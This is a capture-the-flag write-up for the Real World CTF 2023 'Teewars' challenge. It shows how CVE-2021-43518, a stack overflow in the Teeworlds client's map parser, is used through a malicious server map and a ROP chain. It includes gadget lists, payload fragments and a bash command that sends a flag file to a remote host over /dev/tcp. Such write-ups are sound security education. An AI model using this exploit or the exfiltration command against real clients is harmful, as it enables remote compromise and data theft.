2023 Real World CTF - Teewars
2023 Real World CTF is an excellent 0&1-day CTF game!
During the game, I solved two challenges: Hardened Redis, tinyvm with my teammates of team r3kapig, and solved Teewars after the game.
I decided to write the writeup about challenge Teewars. Because of covid infection and Chinese new year, until now (2023-1-30), the writeup was just completed.
TL;DR
Generate a malicious map file through CVE-2021-43518 on the game server, and when the game client connects to it, hack the game client.
Intro
Teeworlds is an open-source game, its Github description: Teeworlds is a free online multiplayer game, available for all major operating systems.
The challenge provides a simple rust tool, as a game client, which can connect to any server by entering the ip address. And From the patch of CMakelist and compile parameters, we can know that all canary related protections and PIE are disabled when compiling.
So our target is to do some malicious operations on the game server, to achieve the purpose of controlling the game client. By observing the compile parameters, we can also guess that the exploit may be a stack bufffer overflow.
Vul
After some quick search, I found CVE-2021-43518, and got a detailed bug reprot with crash sample from its repo issue.
The vulnerability occurs in the function: CMapLayers::LoadEnvPoints
in path src/game/client/components/maplayers.cpp
.
When the client connects to the server, it will load the server’s map file data into the local memory, and invoke CMapLayers::LoadEnvPoints
to parse map file data.
The vulnerability core code is below:
1 | // get envelope points |
pItem
and pPoints
come from map file, and pEnvPoint_v1
is a variable of type CEnvPoint_v1
, which comes from pPoints
, so we have full control over these three variables by modifying the map file. Variable p
is a temporary variable of type CEnvPoint
.
CEnvPoint
and CEnvPoint_v1
struct code is below:
1 | struct CEnvPoint_v1 |
Variable p
is obviously located on the stack, and p
‘s members have fixed size 4. In the loop of assigning p
‘s members, the loop is over pItem->m_Channels
, which is int type and still under our map’s control.
Therefore, a value of pItem->m_Channels
greater than 4, will cause the assignment of p
‘s members out of bounds.
Debug
I downloaded crash map file from bug issue above. and debug the client binary based on this map file.
Basic debug process:
- Modify map file, and replace
data/maps/dm1.map
with the file. - Restart the server.
- Set breakpoint at ret address of
CMapLayers::LoadEnvPoints
stack frame in gdb. - Start the client with the
set args "connect 127.0.0.1" "gfx_fullscreen 0" "gfx_screen_height 240" "gfx_screen_width 360"
parameter in gdb.
I did not analyze the file format of map in detail, so this step has two targets:
- To find the position of
pItem->m_Channels
in the map. - To find the position of
pEnvPoint_v1->m_aValues[c]
in the map.
If I can find these two positions, then I can directly put the payload in the corresponding position.
By observing the key value in gdb, find the corresponding little endian data in the map file. Change the corresponding data to something special data like 0xaabbccdd
, and then judge whether the position of value is correct in gdb; until the ROP chain payload can be loaded.
During debugging, I found some problems: there exists a simple check of map file CRC in function CClient::ProcessServerPacket
in file src/engine/client/client.cpp
.
You can do some basic reverse work to generate a fake CRC value to bypass the check. I have no enough time, so I just made a patch directly:
1 | // pError = "invalid standard map"; |
And another patch at the server side in function CServer::LoadMap
in file src/engine/server/server.cpp
:
1 | if(!m_MapChecker.ReadAndValidateMap(Storage(), aBuf, IStorage::TYPE_ALL)) |
If you wanna understand the file format of the map more, you can read this writeup by Sauercloud.
Exp
Last step: write the exploit code.
It is about ROP with no canary and no PIE, and it is a one-time ROP. I need to execute the following code:
1 | system("bash -c 'cat /home/rwctf/flag > /dev/tcp/{ip}/{port}'"); |
or
1 | execve("/bin/sh", "-c", "'cat /home/rwctf/flag > /dev/tcp/{ip}/{port}'"); |
Firstly I found some basic gadgets:
1 | pop rdi, ret; |
Therefore, I can easily control the first three parameters of the syscall, and invoke the syscall one time with no return.
And then I found an interesting gadget:
1 | mov qword ptr [rdi], rax; ret; |
I can use this gadget to load the required string in the BSS section, the code is as follows:
1 | bin_sh_str = "bash -c 'cat /home/rwctf/flag > /dev/tcp/{ip}/{port}'" |
Then I can write the ROP payload about the execve method:
1 | rop += p64(pop_rdi_ret) |
If you wanna write the ROP payload about the system method, you need to find other interesting gadgets (inspired by God Swing):
1 | add rax, rdi; ret; |
Then I can change the GOT address from __libc_start_main
to system
, and invoke system
function:
1 | # mov rdi, read@got; |
Ref
[1]. Teeworlds Github Issue. https://github.com/teeworlds/teeworlds/issues/2981
[2]. Sauercloud Writeup. https://ctf0.de/posts/realworldctf5-teewars/